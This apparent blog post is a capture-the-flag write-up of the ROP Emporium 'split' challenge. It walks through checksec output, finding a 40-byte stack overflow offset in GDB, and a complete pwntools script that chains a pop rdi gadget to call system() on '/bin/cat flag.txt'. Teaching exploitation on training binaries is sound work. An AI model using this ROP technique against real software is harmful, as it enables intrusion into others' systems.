ROP Emporium - split (x86_64)

3 minute read

Introduction

split is the second challenge of ROP Emporium! At this challenge we will apply the same methodology as we did with ret2win adding to it the application of the x64 calling convention.You can find the challenge here

Challenge Description

I’ll let you in on a secret: that useful string "/bin/cat flag.txt" is still present in this binary, as is a call to system(). It’s just a case of finding them and chaining them together to make the magic happen.

Initial Binary Analysis

Let’s start with the file command.

split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped

as we can see it is a x86_64 ELF executable not stripped which means that we can gather information from debug symbols.

We can also use checksec to check for any protection mechanisms

1[*] '/root/Documents/pwn/ropemporium/split/split'
2    Arch:     amd64-64-little
3    RELRO:    Partial RELRO
4    Stack:    No canary found
5    NX:       NX enabled
6    PIE:      No PIE (0x400000)

The binary has NX (Non Executable stack) enabled so we are not able to preform a ret2shellcode attack.

Let’s execute the binary to get a taste of its control flow.

Binary Execution

It’s crystal clear that its flow is very similar to ret2win, so let’s attach it on GDB to calculate the offset till the %rip register (taking as granted that we can achieve %rip overwrite).

gdb -q split

inf func to list all the functions.

Function List

There are 3 “non-standard” functions: main, pwnme and usefulFunction pwnme as its name suggests it’s the vulnerable function. system() is loaded on the plt.

Finding the offset.

  • Step 1 - Generate a De Bruijn sequence using patterncreate.
patterncreate -l 48 
  • Step 2 - Set a breakpoint where pwnme returns.

pwnme disassembly

break *0x0400741
  • Step 3 - Run the binary and input the De Bruijn sequence then extract the value of the %rsp register.

Extract the rsp: x/gx $rsp

Finding the offset

  • Step 4 - Use patternoffset to calculate the offset.
patternoffset -l 48 -q 0x3562413462413362
[*] Exact match at offset 40

Exploit Strategy

We have to exploit the Buffer Overflow vulnerability to call the system() with /bin/cat flag.txt (which is present in the binary) as the first argument utilizing a ROP Chain, To achieve that we should take a peek into x64 Calling Convention. There is a superb paper which explains this topic x64-Cheatsheet.pdf.

Building the Exploit.

( As always we will use pwntools module on python3. )

Let’s start with a template:

 1from pwn import *
 2
 3elf = context.binary = ELF("split")
 4rop = ROP(elf)
 5
 6p = process(elf.path)
 7offset = 40
 8
 9p.recvuntil('> ')
10
11payload  = b'A' * offset

Locate the /bin/cat flag.txt string and save it in a variable:

We utilize the search() method of the ELF Class which returns an iterator, and that’s why we use the next() to get the next item of the it.

 1from pwn import *
 2
 3elf = context.binary = ELF("split")
 4rop = ROP(elf)
 5
 6p = process(elf.path)
 7offset = 40
 8p.recvuntil('> ')
 9
10cat_flag = next(elf.search(b"/bin/cat flag.txt"))
11payload  = b'A' * offset

Now we have to call the system() function with the /bin/cat flag.txt as the 1st argument.

To dive deeper, let’s take a look into the x64-Cheatsheet.pdf.

4.3 Register Usage: Additionally, %rdi, %rsi, %rdx, %rcx, %r8, and %r9 are used to pass the first six integer or pointer parameters to called functions. Additional parameters (or large parameters such as structs passed by value) are passed on the stack

So we have to pass the /bin/cat flag.txt string into %rdi , and to do that we will utilize a pop rdi; ret; Gadget.

 1from pwn import *
 2
 3elf = context.binary = ELF("split")
 4rop = ROP(elf)
 5
 6p = process(elf.path)
 7offset = 40
 8p.recvuntil('> ')
 9
10cat_flag = next(elf.search(b"/bin/cat flag.txt"))
11pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0] # Get the first occurence of the pop rdi gadget
12
13payload  = b'A' * offset
14payload += p64(pop_rdi) # Save the value at the top of the stack into %rdi
15payload += p64(cat_flag) # Value to pop into %rdi.
16payload += p64(elf.plt['system']) # Call the system function
17
18p.sendline(payload) 
19p.interactive()

Pwn3d!

Pwn3d